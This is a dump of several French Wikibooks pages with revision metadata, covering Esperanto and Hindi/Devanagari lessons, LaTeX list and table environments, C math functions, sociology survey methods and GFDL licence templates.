futur s'indique en mettant '''-os'''. "Mi manĝos = "Je mangerais" ===Conditionnel=== Le conditionnel s'indique en mettant '''-us'''. "Mi manĝus", = "Je mangerais" ===Impératif=== L'impératif s'indique en metteant '''-u'''. "Manĝu !", = "Mange !" ==Pluriel== Pour indiquer le pluriel, on ajoute '''-j''' au singulier. ex: ĉevalo (un cheval), ĉevaloj (des chevaux) ==L'accusatif== L'accusatif s'indique en mettant la finale '''-n'''. ==Vocabulaire== *aimer = ami *maison = domo *ami = amiko *légume = legomo *congrès = kongreso *crayon = krajono *écrire = skribi *plante = planto *manger = manĝi *congressiste = congresisto *marcher = andi *travailler = labori *faire = fari *Bonjour = Bonan tagon *Salut! = Saluton! *Au revoir! = Gxis revido *salut! (sens du départ) = ĝis! *fleur = floro *nom = nomo *ville = urbo *un chat = kato *un chien = hundo *enfant = infano *le père = la patro *la mère = la patrino *les parents = la gepatroj ==Phrase type== Mia nomo estas ... Je m'appelle.(Mon nom est) <br> Varmas... Il fait chaud. [[Catégorie:Espéranto|!]] [[de:Esperanto]] [[en:Esperanto]] [[eo:Esperanto por komencantoj]] [[es:Esperanto]] [[et:Esperanto]] [[id:Bahasa Esperanto]] [[ms:Bahasa Esperanto]] [[ja:エスペラント]] [[nl:Esperanto]] [[pl:Esperanto]] [[pt:Esperanto]] [[fi:Esperanton kieli]] [[sv:Esperanto]] [[zh:世界语]] Enseignement de l'esperanto 580 22406 2005-09-30T07:58:35Z Jusjih 513 La double redirection est terminée. #REDIRECT [[Espéranto]] Enseignement du hindi 581 29923 2006-01-23T12:07:35Z Boly38 136 +cat Langue {{hindi}} Le '''hindi''' est une langue indo-européenne parlée en Inde et dans de nombreux pays où des Indiens ont émigrés. Elle s'écrit de gauche à droite à l'aide de la '''devanagari''', un alphabet (en fait un '''[[w:alphasyllabaire|alphasyllabaire]]''') comprenant 56 signes. C'est une langue essentiellement phonétique qui a peu d'exceptions. * [[Alphabet devanagari]] * [[Grammaire du hindi]] ** [[Genre (hindi)|Genre]] ** [[Pluriels (hindi)|Pluriels]] ** [[Conjugaisons (hindi)|Conjugaisons]] *** [[Présent (conjugaison hindi)|Présent]] *** [[Passé (conjugaison hindi)|Passé]] *** [[Futur (conjugaison hindi)|Futur]] ** [[Pronoms (hindi)|Pronoms]] * [[Vocabulaire (hindi)|Vocabulaire]] ** [[Nombres (hindi)|Nombres]] ** [[Relations familiales (hindi)|Relations familiales]] == Voir aussi == * [[w:Hindi|Hindi]] (Wikipédia) * [[w:Devanagari|Devanagari]] (Wikipédia) * [[wikt:Catégorie:Hindi|Mots hindi dans Wiktionnaire]] * [http://fr.wiktionary.org/w/wiki.phtml?title=Special:Whatlinkshere&target=Mod%C3%A8le%3Ahi Mots français traduits en hindi] * [[Wikt:hi:|Wiktionary en hindi]] * [[w:hi:|Wikipédia en hindi]] * [[Enseignement du gujarati]] == Liens externes == * [http://www.geocities.com/matthewblackwell/hindiEditor.html Editeur pour le hindi] [[Catégorie:Langue|Hindi]] [[en:Hindi]] Hindi 582 12277 2004-10-11T15:42:33Z Yann 2 #REDIRECT [[Enseignement du hindi]] #REDIRECT [[Enseignement du hindi]] Programmation LaTeX Les environnements 585 35485 2006-03-02T11:21:34Z Cdang 1202 /* Descriptions */ {{LaTeX-nav}} {{LaTeX}} ==Tableaux== L'environnement de base pour les tableaux en LaTeX est ''tabular'', il prend un argument obligatoire qui spécifie le nombre de colonnes du tableau : <pre> \begin{tabular}{colonnes} lignes \end{tabular} </pre> L'argument ''colonnes'' est une suite de caractères qui peuvent être : * un '''l''' pour une colonne alignée à gauche ('''l'''eft) ; * un '''r''' pour une colonne alignée à droite ('''r'''ight) ; * un '''c''' pour une colonne centrée ('''c'''enter). * un '''p{3cm}''' pour une colonne avec un paragraphe ('''p'''aragraphe). La largeur doit être précisée. Les ''lignes'' sont représentées par les valeurs des colonnes séparées par des '''&''' et terminées par '''\\'''. ===Exemple=== <pre> \begin{tabular}{cc} 1 & 2 \\ 3 & 4 \\ \end{tabular} </pre> ==Alignements== Par défaut, LaTeX justifie le texte. Il existe trois environnements correspondant aux autres alignements possibles : ''flushleft'' pour un alignement à gauche, ''flushright'' pour un alignement à droite et ''center'' pour centrer. Dans chacun des ces environnements, la commande '''\\''' permet de forcer un saut de ligne. ==Listes== ===Listes numérotées=== L'environnement ''enumerate'' permet de créer des listes numérotées. Chaque élément d'une liste numérotée est introduit par la commande <code>\item</code> : <pre> \begin{enumerate} \item premier élément ; \item deuxième élément. \end{enumerate} </pre> ===Listes non numérotées=== Les listes non numérotées sont fournies par l'environnement ''itemize''. Elles fonctionnent comme les listes numérotées : <pre> \begin{itemize} \item premier élément ; \item deuxième élément. \end{itemize} </pre> ===Descriptions=== Une liste de descriptions permet d'associer une définition à un terme : <pre> \begin{description} \item[terme1] définition1 ; \item[terme2] définition2. \end{description} </pre> {{LaTeX-nav}} Programmation Assembleur x86 588 27985 2005-12-30T20:20:03Z Greudin 1 en: {{Modèle:Assembleur}} * [[Programmation Assembleur x86 Introduction|Introduction]] * [[Programmation Assembleur x86 Registres|Registres]] * [[Programmation Assembleur x86 Les flags|Les flags]] * [[Programmation Assembleur x86 Copie de valeur entre registres et mémoire|Copie de valeur entre registres et mémoire]] * [[Programmation Assembleur x86 Les branchements|Les branchements]] * [[Programmation Assembleur x86 La pile|La pile]] * [[Programmation Assembleur x86 Les interruptions|Les interruptions]] * [[Programmation Assembleur x86 Instructions supplémentaires|Instructions supplémentaires]] * [[Programmation Assembleur x86 Conclusion|Conclusion]] [[en:X86 Assembly]] Modèle:Assembleur 590 12283 2004-10-14T21:19:49Z Ecureuil gris 61 rappatriement de l'intro assembleur, épisode XII {| style="border:1px #D0E2EE solid; margin=5px 5px 5px 1em;" cellspacing="0" cellpadding="5" align="right" | style="text-align:center;background:#EAF5FB;" | [[Programmation Assembleur|Programmation Assembleur]] |- | * [[Programmation Assembleur|Introduction]] *Les différents processeurs : **[[Programmation Assembleur x86|x86]] **[[Programmation Assembleur PowerPC|PowerPC]] **[[Programmation Assembleur Itanium|Itanium]] **[[Programmation Assembleur Sparc|Sparc]] **[[Programmation Assembleur Mips|Mips]] **[[Programmation Assembleur ARM|ARM]] **[[Programmation Assembleur Alpha|Alpha]] **[[Programmation Assembleur HP-PA|HP-PA]] **[[Programmation Assembleur SuperH|SuperH]] **[[Programmation Assembleur 68000|68000]] **[[Programmation Assembleur Z80|Z80]] | |- | style="text-align:center;background:#EAF5FB;" | [[Programmation|Retour au livre Programmation]] |} Programmation Assembleur Introduction 592 12285 2004-10-14T05:53:33Z Guillaumito 46 Programmation Assembleur Introduction déplacé vers Programmation Assembleur #REDIRECT [[Programmation Assembleur]] Programmation C Mathématiques 594 12287 2004-12-14T21:20:08Z Tpierron 79 {{Programmation C}} Pour pouvoir utiliser les fonctions mathématiques, il faut non seulement utiliser le fichier d'entêtes ''math'' ainsi que ''errno.h''. Ce dernier contient les codes d'erreurs retournés via la variable globale ''errno'' lorsqu'un des arguments passés est invalide : <pre> #include <math.h> #include <errno.h> </pre> mais aussi ajouter l'option <code>-lm</code> lors de la compilation (ou plus précisément lors de l'édition des liens). La gestion portable des erreurs est encore un grief à porter au casier déjà bien lourd du langage C. Dans le cas où la détection d'erreur est critique, voici la marche à suivre pour détecter qu'une fonction mathématique a échoué : # Positionner la variable <code>errno</code> à 0. # Appeler la fonction mathématique. # Vérifier que <code>errno</code> vaut toujours 0. En effet, dans la plupart des cas, ces fonctions ne positionnent cette variable qu'en cas d'erreur, laissant la valeur inchangée en cas de succès. Il faut donc s'assurer qu'une valeur différente de 0, est bien le résultat du dernier appel et non d'un autre antérieur. La pénibilité est surtout dû au fait que les fonctions mathématiques ne renvoient pas de code d'erreur, contrairement à la plupart des autres fonctions utilisant aussi ''errno'', ce qui oblige à positionner explicitement sa valeur avant l'appel. Cela dit, rares sont les cas où on a besoin d'une attitude aussi paranoïaque. ==Exponentiations== <pre> double exp ( double x ); double pow ( double x, double y ); </pre> ''exp'' calcule ''e'' élevé à la puissance de ''x'' (<math>e^x</math>) où ''e'' est la base des logarithmes naturels (ln(e) = 1). ''pow'' calcule la valeur de ''x'' élévé à la puissance ''y'' (<math>x^y</math>). ===Erreurs=== La fonction ''pow'' peut déclencher l'erreur suivante : *'''EDOM''' : ''x'' est négatif, et ''y'' n’est pas un entier. ==Logarithmes== <pre> double log ( double x ); double log10 ( double x ); </pre> ''log'' calcule le logarithme néperien de ''x'' (noté généralement ln(x) en mathématiques). ''log10'' calcule le logarithme à base 10 de ''x''. ===Erreurs=== * '''EDOM''' : ''x'' est négatif ; * '''ERANGE''' : ''x'' est nul. ==Racine carrée== <pre> double sqrt ( double x ); </pre> Renvoie la racine carrée de ''x''. ===Erreurs=== * '''EDOM''' : ''x'' est négatif. ==Sinus, cosinus, tangente== <pre> double sin ( double x ); double cos ( double x ); double tan ( double x ); </pre> ==Arc sinus, arc cosinus== <pre> double asin ( double x ); double acos ( double x ); </pre> ===Erreurs=== * '''EDOM''' : ''x'' est inférieur à -1 ou supérieur à 1. ==Arc tangente== <pre> double atan ( double x ); double atan2 ( double y, double x ); </pre> Modèle:TM 596 12289 2004-10-14T11:07:22Z Yann 2 <small><sup>TM</sup></small> <small><sup>TM</sup></small> Outils méthodologiques (sociologie) 597 44003 2006-06-06T09:41:33Z 193.49.225.25 /* Liens externes */ == Les sondages et questionnaires == === Qui interroger ? Choix de l'échantillon === ==== Échantillon aléatoire ==== ==== Échantillon par quota ==== === Comment interroger ? Le questionnaire === Voici quelques règles concernant la formulation des questions : * le sens donné à la question doit être équivalent pour toutes les personnes interrogées ; * une bonne question doit être brève ; * la question doit être formulée sous la forme affirmative : {| border=1 | '''Bonne question''' | '''Mauvaise question''' |- | « Êtes-vous d'accord avec l'idée (...) ? » | « N'êtes-vous pas d'accord avec l'idée (...) ? » |} * la question ne doit pas suggérer une réponse : {| border=1 | '''Bonne question''' | '''Mauvaise question''' |- | « Êtes-vous d'accord avec (...) ? » | « Êtes-vous de l'avis de (...) ? » |} * une question ne doit porter que sur une seule idée à la fois : {| border=1 | '''Bonne question''' | '''Mauvaise question''' |- | « Êtes-vous d'accord avec l'idée de recycler les déchets ? Êtes-vous d'accord avec l'idée de faire payer une amende à ceux qui ne le font pas ? » | « Êtes-vous d'accord avec l'idée de faire recycler les déchets et de faire payer une amende à ceux qui ne le font pas ? » |} * la question ne doit pas induire de gêne vis-à-vis de la réponse : {| border=1 | '''Bonne question''' | '''Mauvaise question''' |- | « Vous est-il déjà arrivé, ne serait-ce qu'une seule fois et par curiosité, de consommer de la drogue ? » | « Avez-vous consommé de la drogue ? Pourquoi ? » |} * une question doit être suffisamment comprise par tous : {| border=1 | '''Bonne question''' | '''Mauvaise question''' |- | « Faîtes-vous attention au nombre de calories que vous consommez ? Faîtes-vous attention aux types d'aliments que vous consommez ? Faîtes-vous attention à la quantité d'aliments que vous consommez ? » | « Faîtes-vous attention à ce que vous mangez ? » |} Sur le plan technique, une bonne question doit être '''claire''' et '''univoque'''. Ceci dit, une somme de bonnes questions ne fait pas toujours un bon questionnaire. Il convient ainsi : * d'éviter un trop grand questionnaire (supérieur à 20 questions) ; * de reléguer les questions « indiscrètes » à la fin du questionnaire (par exemple, en France, les questions sur le revenu sont sujettes à caution de l'enquêteur) ; * de soigner la présentation : de belles questions, de bonnes modalités de réponse et une clarté dans le fonctionnement et la présentation du questionnaire. ==== La forme des questions : questions ouvertes, questions fermées ==== En statistique, on désigne couramment les questions ouvertes et les questions fermées. Pour les questions fermées, l'individu choisit sa réponse (modalité de réponse) dans une liste pré-établie. Par exemple, les réponses proposées à la question « Avez-vous été élevé religieusement ? » seraient : * oui ; * non. Pour les questions ouvertes, l'individu répond comme il le désire (formulations, détails, commentaires). La difficulté pour l'enquêteur est de noter intégralement ce que l'enquêté dit. La seconde difficulté de la question ouverte est le recodage des réponses données, qui nécessite la construction de catégories de réponses afin d'effectuer des statistiques. Voici un exemple de question fermée, présentée dans un tableau permettant à l'enquêteur de catégoriser rapidement les réponses : {| border=1 |colspan=3| « D'une façon générale, pensez-vous que la religion à sa place en France ? » |- | | Oui | 1 |- | | Non | 2 |} Voici un exemple de question ouverte dérivée de la question précédente, et nécessitant la création de catégories ''a priori'' : {| border=1 |colspan=3| « Si oui, quelle serait son utilité ? » |- | &nbsp; | Une réponse aux problèmes et aux besoins moraux des individus. | 1 |- | &nbsp; | Une réponse aux problèmes qui se posent dans la famille. | 2 |- | &nbsp; | Une réponse aux besoins spirituels des individus. | 3 |- | &nbsp; | Une réponse aux problèmes sociaux d'aujourd'hui. | 4 |} Le discours de l'enquêté nécessite la création de catégories (ici au nombre de quatre) et donc la consultation et le dépouillement préalable des réponses de tous les individus de l'échantillon. Face à la relative complexité du travail en questions ouvertes, deux possibilités s'offrent à l'enquêteur : * il passe l'ensemble des questionnaires avec des questions ouvertes puis il doit recoder l'ensemble des réponses ; * soit l'enquêteur va utiliser le questionnaire avec des questions directes dans une phase de pré-enquête. Les questions fermées sont beaucoup plus faciles pour les individus, et simple à passer et à recoder que les questions ouvertes. Il est conseillé d'éviter plus de cinq questions ouvertes dans un même questionnaire. Il est possible de s'inspirer d'autres questionnaires pour formuler le sien, en reprenant certaines questions. ==== Le contenu de la question ==== En statistique, on distingue les questions selon leur contenu. Il existe des questions de fait, des questions dites « d'opinion » et des questions socio-démographiques. Les questions de fait font appel à la mémoire et portent sur des événements précis : « Où avez-vous passé vos vacances l'année dernière ? ». Les erreurs de mémoire peuvent traduire un simple oubli, soit il s'agit d'un acte volontaire de l'individu (relation de « domination » entre l'enquêteur et l'enquêté selon Bourdieu). Une question d'opinion consiste à demander aux individus ce qu'ils pensent de tel phénomène. Mais il peut exister un écart entre ce que dit la personne et ce qu'elle pense réellement (assez fréquent). Les questions socio-démographiques ont pour objectif de recueillir des données sur l'âge, le sexe, les revenus, la catégorie socio-professionnelle etc. : « Quel âge avez-vous ? », pour obtenir l'état civil de la personne. Ces questions sont fondamentales car elles représentent des variables explicatives, ou indépendantes, qui expliquent les pratiques des individus. Il s'agit ici de croiser des catégories d'appartenance avec des pratiques, des opinions ou des représentations. On présuppose les réponses à un questionnaire en fonction des catégories sociales. ==== La passation du questionnaire ==== === Comment généraliser ? La représentativité === ==== Le problème de la représentativité ==== La qualité des conclusions obtenues par questionnaires est liée à la composition de l'échantillon. Ainsi, si l'échantillon n'est pas représentatif de la population mère, les statistiques générées ne seront pas bonnes. Aussi, l'échantillon aléatoire peut provoquer un biais statistique si la base de sondage est incomplète ou erronée. La deuxième difficulté génératrice de biais statistique peuvent être les refus de répondre, qui fragilisent le sondage. La troisième difficulté peuvent provenir du manque d'informations sur la population mère ; de ce fait la structuration de l'échantillon sera fausse. Par conséquent, il est assez difficile de ne pas avoir de biais d'échantillonnage. C'est pourquoi le statisticien utilise la notion d'estimation, qui consiste à calculer la marge d'erreur des résultats obtenus à la suite de l'échantillonnage. ==== La notion d'estimation ==== À travers la notion d'estimation, le chercheur veut estimer l'intervalle de confiance qu'il peut accorder à ses résultats. La représentativité est fonction de la taille de l'échantillon : un échantillon microscopique conduira à une mauvaise représentativité. Pour estimer la qualité de cette représentativité, on calcule donc l'intervalle de confiance selon deux formules, où ''p'' est la proportion d'individus concernés, et ''n'' l'effectif de l'échantillon : <math>p - 1,96 \sqrt{\frac{p(1-p)}{n}}</math> <math>p + 1,96 \sqrt{\frac{p(1-p)}{n}}</math> 1,96 correspond ici à un pourcentage de confiance de 95%. == Les entretiens == === Qui interroger ? === === Comment interroger ? === ==== Les différents types d'entretien ==== ==== La technique de l'entretien, conduite de l'entretien ==== === Liens externes === * [http://rb.ec-lille.fr/Cours_de_recueil_analyse_et_traitement_de_donnees.htm Cours complet de recueil, analyse et traitement de données] Ce cours de recueil, analyse et traitement de données comporte les parties suivantes : '''1.''' Introduction du cours - '''2.''' Quel objectif : exploration ou vérification ? - '''3.''' Conception et élaboration de questionnaires. - '''4.''' Méthodologie de l'entretien (reformulation notamment) - '''5.''' Validité et fiabilité - '''6.''' L’analyse factorielle des correspondances (explication pas à pas intitulée « l'AFC pour les nuls ») Programmation POSIX 599 12292 2005-04-20T15:14:27Z Guillaumito 46 {{Programmation}} {{Programmation POSIX}} == Introduction == Le but de ce livre est d'offrir une introduction à l'utilisation en [[w:fr:C (langage)|C]] de l'[[w:fr:Interface de programmation|API]] [[w:fr:POSIX|POSIX]]. ''prérequis : [[Programmation C]]'' {{Programmation}} Devanagari 600 30531 2006-01-27T15:36:19Z Greudin 1 restitution de la dernière modification de 82.253.68.40 {{hindi}} La '''devanagari''', l'alphabet utilisé en hindi, est un système phonétique. En principe, un même signe représente toujours un même son. Les sons ''eu'' (cheveu) et ''u'' (rue) n'existent pas. Les consonnes sont toujours représentées avec la voyelle <font size="+1">अ</font> (''a'' (court) ou ''e muet''), mais celle-ci n'est pas écrite quand elle est précédée d'une consonne. On utilise le signe <font size="+1">् &nbsp;</font> pour indiquer qu'une consonne n'est pas suivie d'une voyelle. Les difficultés sont principalement de deux sortes : # la plupart des consonnes peuvent se combiner entre elles pour former des [[combinaisons des consonnes (hindi)|combinaisons]]. # les voyelles s'écrivent différemment suivant leur position dans un mot, au début ou non, et lorsqu'elles suivent une consonne ou une autre voyelle. Par exemple, les combinaisons de la consonne <font size="+1">क</font> (''k'') avec les voyelles : * <font size="+1">क् </font> + <font size="+1">अ</font> = <font size="+1">क</font> (ka) * <font size="+1">क् </font> + <font size="+1">आ</font> = <font size="+1">का</font> (kā) * <font size="+1">क् </font> + <font size="+1">इ</font> = <font size="+1">कि</font> (ki) * <font size="+1">क् </font> + <font size="+1">ई</font> = <font size="+1">की</font> (kī) * <font size="+1">क् </font> + <font size="+1">उ</font> = <font size="+1">कु</font> (ku) * <font size="+1">क् </font> + <font size="+1">ऊ</font> = <font size="+1">कू</font> (kū) * <font size="+1">क् </font> + <font size="+1">ऋ</font> = <font size="+1">कृ</font> (kri) * <font size="+1">क् </font> + <font size="+1">ए</font> = <font size="+1">के</font> (ke) * <font size="+1">क् </font> + <font size="+1">ऐ</font> = <font size="+1">कै</font> (kai) * <font size="+1">क् </font> + <font size="+1">ओ</font> = <font size="+1">को</font> (ko) * <font size="+1">क् </font> + <font size="+1">औ</font> = <font size="+1">कौ</font> (kow) Cas particuliers : * <font size="+1">र् </font> + <font size="+1">उ</font> = <font size="+1">रु</font> (ru) * <font size="+1">र् </font> + <font size="+1">ऊ</font> = <font size="+1">रू</font> (rū) <br /><br /> Voici l'alphasyllabaire dans l'ordre « alphabétique ». Les voyelles sont en premier, suivies des consonnes. {| |----- !phonème !prononciation,<br />transcription !exemple<br />en français !exemple<br />en hindi |----- | ''Voyelles'' |----- | <font size="+1"> अ </font> || ''a'' (court) ou ''e muet'' || || <font size="+1">अब</font> (''ab'', maintenant) |----- | <font size="+1"> आ </font> || ''â'' (long) || || <font size="+1">आठ</font> (''âth'', huit) |----- | <font size="+1"> इ </font> || ''i'' (court) || || <font size="+1">इतिहास</font> (''itihâs'', histoire) |----- | <font size="+1"> ई </font> || ''î'' (long) || r''i''re || <font size="+1">मिठाई</font> (''mithâï'', sucreries) |----- | <font size="+1"> उ </font> || ''ou'' (court) || || <font size="+1">उर्दू</font> (ourdou) |----- | <font size="+1"> ऊ </font> || ''oû'' (long) || || <font size="+1">ऊन</font> (''oûn'', laine) |----- | <font size="+1"> ऋ </font> || ''ri'' || || <font size="+1">ऋषि</font> (''richi'', sage (personne)) |----- | <font size="+1"> ऍ </font> || || || <font size="+1">ऍन्जेला</font> (Angela, prononciation anglaise) |----- | <font size="+1"> ए </font> || ''é'' || cl''é'' || <font size="+1">एक</font> (''ék'', un) |----- | <font size="+1"> ऐ </font> || ''éï'' || || <font size="+1">ऐनक</font> (''éïnak'', lunettes) |----- | <font size="+1"> ऑ </font> || ''o'' (long, ouvert) || || <font size="+1">ऑक्सिजन</font> (oxygène) |----- | <font size="+1"> ओ </font> || ''ô'' (fermé) || || <font size="+1">ओड़िया</font> (oriya) |----- | <font size="+1"> औ </font> || ''aô'' (long) || || <font size="+1">औरत</font> (''aôrat'', femme) |----- | <font size="+1"> ा </font> || ''â'' (long, intérieur d'un mot) || || <font size="+1">सामान</font> (''sâmân'', bagage) |----- | <font size="+1"> ि </font> || ''i'' (court, intérieur d'un mot) || || <font size="+1">पिता</font> (''pitâ'', père) |----- | <font size="+1"> ी </font> || ''i'' (long, intérieur d'un mot) || || <font size="+1">गी</font> (''guî'', beurre) |----- | <font size="+1"> ु </font> || ''ou'' (court, intérieur d'un mot) || || <font size="+1">दुकान</font> (''doukân'', boutique, magasin) |----- | <font size="+1"> ू </font> || ''oû'' (long, ntérieur d'un mot) || || <font size="+1">जूता</font> (''joûtâ'', chaussure) |----- | <font size="+1"> ृ </font> || ''ri'' (intérieur d'un mot) || || <font size="+1">कृषि</font> (''krichi'', agriculture) |----- | <font size="+1"> ॅ </font> || ''o'' (court, ouvert,</br /> à l'intérieur d'un mot) || || <font size="+1"> </font> |----- | <font size="+1"> े </font> || ''é'' (intérieur d'un mot) || || <font size="+1">देना</font> (''dénâ'', donner) |----- | <font size="+1"> ै </font> || ''éï'' (intérieur d'un mot) || || <font size="+1">है</font> (''héï'', est (verbe être)) |----- | <font size="+1"> ॉ </font> || ''o'' (long, ouvert,<br/>à l'intérieur d'un mot) || || <font size="+1">कॉलेज</font> (''koléj'', lycée, université) |----- | <font size="+1"> ो </font> || ''ô'' (fermé, intérieur d'un mot) || || <font size="+1">सोमवार</font> (''sômvâr'', lundi) |----- | <font size="+1"> ौ </font> || ''aô'' (intérieur d'un mot) || || <font size="+1">नौ</font> (''naô'', neuf) |----- | <font size="+1"> ं </font> || (''anusvâr'', nasalise la voyelle précédente) || || <font size="+1">रंग</font> (''rang'', couleur) |----- | <font size="+1"> ॕ </font> || (''chandrabindu'', nasalise la voyelle précédente) || ''on'', ''an'' || <font size="+1">फ़्राँसीसी</font> (''fransîsî'', français) |----- | <font size="+1"> अः </font> || ''ah'' (à l'intérieur d'un mot,<br />seuls les deux points sont utilisés) || || <font size="+1">दुःख</font> (''duhkh'', tristesse) |----- | <br /> |----- | ''Consonnes'' |----- | <font size="+1"> क </font> || ''k'' || || <font size="+1">कमरा</font> (''kamrâ'', chambre) |----- | <font size="+1"> क़ </font> || ''k'' (mots d'origine arabe) || ||<font size="+1">क़मीज़</font> (''kamîz'', chemise) |----- | <font size="+1"> ख </font> || ''kh'' || || <font size="+1">लिखना</font> (''likhnâ'', écrire) |----- | <font size="+1"> ख़ </font> || ''kh'' || || <font size="+1">अख़बार</font> (''akhbâr'', journal) |----- | <font size="+1"> ग </font> || ''g'' || ''g''are || <font size="+1">गाना</font> (''gânâ'', chanson, chanter) |----- | <font size="+1"> ग़ </font> || ''g'' || || <font size="+1">ग़रीब</font> (''garîb'', pauvre) |----- | <font size="+1"> घ </font> || ''gh'' || || <font size="+1">घर</font> (''ghar'', maison) |----- | <font size="+1"> च </font> || ''tch'' || ''tch''échène || <font size="+1">चार</font> (''tchâr'', quatre) |----- | <font size="+1"> छ </font> || ''tchh'' || || <font size="+1">छे</font> (''tchhé'', six) |----- | <font size="+1"> ज </font> || ''dj'' || ''j''ean || <font size="+1">जाना</font> (''djânâ'', aller) |----- | <font size="+1"> ज़ </font> || ''z'' (mots d'origine arabe) || ''z''éro || <font size="+1">मेज़</font> (''méz'', table) |----- | <font size="+1"> झ </font> || ''djh'' || || <font size="+1">झूठ</font> (''djhoûth'', mensonge) |----- | <font size="+1"> ञ </font> || ''gn'' (uniquement en combinaison avec <font size="+1">च छ ज झ</font>) || || |----- | <font size="+1"> ट </font> || ''t'' || || <font size="+1">पेट</font> (''pét'', estomac) (टोपी, chapeau) |----- | <font size="+1"> ठ </font> || ''th'' || || <font size="+1">मराठी</font> (marathi) |----- | <font size="+1"> ड </font> || ''d'' || || <font size="+1">एडी</font> (''édî'', poignet) |----- | <font size="+1"> ड़ </font> || ''l'' (roulé) || || <font size="+1">भेड़</font> (''bhél'', mouton) (बड़ा, grand) |----- | <font size="+1"> ढ </font> || ''dh'' || || <font size="+1">ढेर</font> (''dhér'', tard) |----- | <font size="+1"> ढ़ </font> || ''rh'' || || <font size="+1">डेढ़</font> (''dérh'', un et demi) |----- | <font size="+1"> ण </font> || ''n'' || || <font size="+1">अणु</font> (''anou'', atome, molécule) |----- | <font size="+1"> त </font> || ''t'' || || <font size="+1">तमिल</font> (''tamil'', tamoul) |----- | <font size="+1"> थ </font> || ''th'' || || <font size="+1">हाथ</font> (''hâth'', main) |----- | <font size="+1"> द </font> || ''d'' || || <font size="+1">दो</font> (''dô'', deux) |----- | <font size="+1"> ध </font> || ''dh'' || || <font size="+1">दूध</font> (''doûdh'', lait) |----- | <font size="+1"> न </font> || ''n'' || ''n''om || <font size="+1">नमक</font> (''namak'', sel) |----- | <font size="+1"> प </font> || ''p'' || ''p''apa || <font size="+1">पति</font> (''pati'', époux, mari) |----- | <font size="+1"> फ </font> || ''ph'', ''f'' || || <font size="+1">सफेद</font> (''safed'', blanc) |----- | <font size="+1"> फ़ </font> || ''f'' (mots d'origine étrangère) || ''f''aute || <font size="+1">फ़ारसी</font> (farsi) |----- | <font size="+1"> ब </font> || ''b'' || ''b''allon || <font size="+1">बीस</font> (''bîs'', vingt) |----- | <font size="+1"> भ </font> || ''bh'' || || <font size="+1">भारत</font> (''bhârat'', Inde) |----- | <font size="+1"> म </font> || ''m'' || ''m''aman || <font size="+1">माथा</font> (''mâthâ'', tête) |----- | <font size="+1"> य </font> || ''y'' || ''y''ack || <font size="+1">चाय</font> (''tchây'', thé) |----- | <font size="+1"> र </font> || ''r'' || || <font size="+1">रविवार</font> (''ravivâr'', dimanche) |----- | <font size="+1"> ल </font> || ''l'' || ''l''ac || <font size="+1">लाना</font> (''lânâ'', apporter) |----- | <font size="+1"> व </font> || ''v'', ''w'' || || <font size="+1">हवा</font> (''hawâ'', air) |----- | <font size="+1"> श </font> || ''sh'' (ch ''mouillé'') || allemand mi''ch'' || <font size="+1">शनिवार</font> (''shanivâr'', samedi) |----- | <font size="+1"> ष </font> || ''ch'' || ''ch''at || <font size="+1">भाषा</font> (''bhâchâ'', langue) |----- | <font size="+1"> स </font> || ''s'' || ''s'' || <font size="+1">सात</font> (''sât'', sept) |----- | <font size="+1"> ह </font> || ''h'' || || <font size="+1">होना</font> (''honâ'', être) |----- | <font size="+1"> ़ </font> || || || <font size="+1"> </font> |----- | <font size="+1"> ् </font> || (pour supprimer la voyelle implicite) || || <font size="+1"> </font> |----- | <font size="+1"> ॏ </font> || || || <font size="+1"> </font> |----- | <font size="+1"> ॐ </font> || Ôm || || <font size="+1"> </font> |----- | <font size="+1"> ॓ </font> || || || <font size="+1"> </font> |----- | <font size="+1"> ॔ </font> || || || <font size="+1"> </font> |----- | <font size="+1"> । </font> || . (fin de phrase) || || <font size="+1"> </font> |----- | <font size="+1"> ॥ </font> || (marque la fin d'une rime en poésie) || || <font size="+1"> </font> |} == Voir aussi == * [[w:Devanagari|Devanagari]] (Wikipédia) [[en:Devanagari]] Hindî 602 12295 2004-10-15T13:25:45Z Yann 2 #REDIRECT [[Enseignement du hindi]] #REDIRECT [[Enseignement du hindi]] Alphabet devanagari 603 12296 2004-10-15T13:27:06Z Yann 2 Alphabet devanagari déplacé vers Devanagari #REDIRECT [[Devanagari]] Modèle:Hindi 606 17257 2005-07-22T16:20:39Z BernardM 222 zoom sur l'image retiré {| style="border:1px black solid; margin=5px 5px 1em 1em;width:160px;" cellspacing="0" cellpadding="5" align="right" | style="text-align:center;" | [[Image:Hindi.png|Hindi]] |- | *[[Enseignement du hindi]] **[[Devanagari]] ***[[Combinaisons des consonnes (hindi)|Combinaisons]] **[[Grammaire du hindi|Grammaire]] *** [[Genre (hindi)|Genre]] *** [[Pluriels (hindi)|Pluriels]] *** [[Conjugaisons (hindi)|Conjugaisons]] *** [[Pronoms (hindi)|Pronoms]] ** [[Vocabulaire (hindi)|Vocabulaire]] *** [[Nombres (hindi)|Nombres]] *** [[Relations familiales (hindi)|Relations familiales]] |} Image:Hindi.png 607 12300 2004-10-16T10:01:26Z Yann 2 Hindi<br />{{GFDL}} Vincent Ramos Hindi<br />{{GFDL}} Vincent Ramos Modèle:GFDL 608 46254 2006-06-28T10:04:05Z Guillaumito 46 lien FSF vers WP [[catégorie:Image GFDL|{{PAGENAME}}]] <br clear="all" /> {| align=center border=0 cellpadding=4 cellspacing=4 style="border: 1px solid #CCCC99; background-color: #F1F1DE" |- | [[Image:Gnu-head.png|90px|center|]] | style="font-size: 90%" | Vous avez la permission de copier, distribuer et/ou modifier ce document selon les termes de la [[GFDL|Licence de documentation libre GNU]], version 1.2 ou plus récente publiée par la [[w:Free Software Foundation|Free Software Foundation]] ; sans sections inaltérables, sans texte de première page de couverture et sans texte de dernière page de couverture. |} Copyright © Licence de documentation libre GNU 609 12302 2004-10-16T10:05:17Z Yann 2 d'après WP: La '''licence de documentation libre GNU''' (GNU Free Documentation License) est une licence produite par la Free Software Foundation. Cette licence a pour but de permettre la diffusion de contenu libre. ''L'objet de cette Licence est de rendre tout manuel, livre ou autre document écrit « libre » au sens de la liberté d'utilisation, à savoir : assurer à chacun la liberté effective de le copier ou de le redistribuer, avec ou sans modifications, commercialement ou non.'' Attention, ''contenu libre'' ne veut pas dire ''domaine public''. Les différents créateurs de documents sous licence GFDL restent propriétaire de leurs écrits ou de leurs images. La licence GNU requiert que les auteurs gardent le crédit de leurs contributions. Pour cette raison, toute utilisation de document sous licence GFDL doit mentionner la source de ce contenu (par exemple, soit en créditant l'organisation d'où origine le document ou encore le document directement). * en français (traduction non officielle, version 1.1): http://cesarx.free.fr/gfdlf.html * version officielle en anglais: 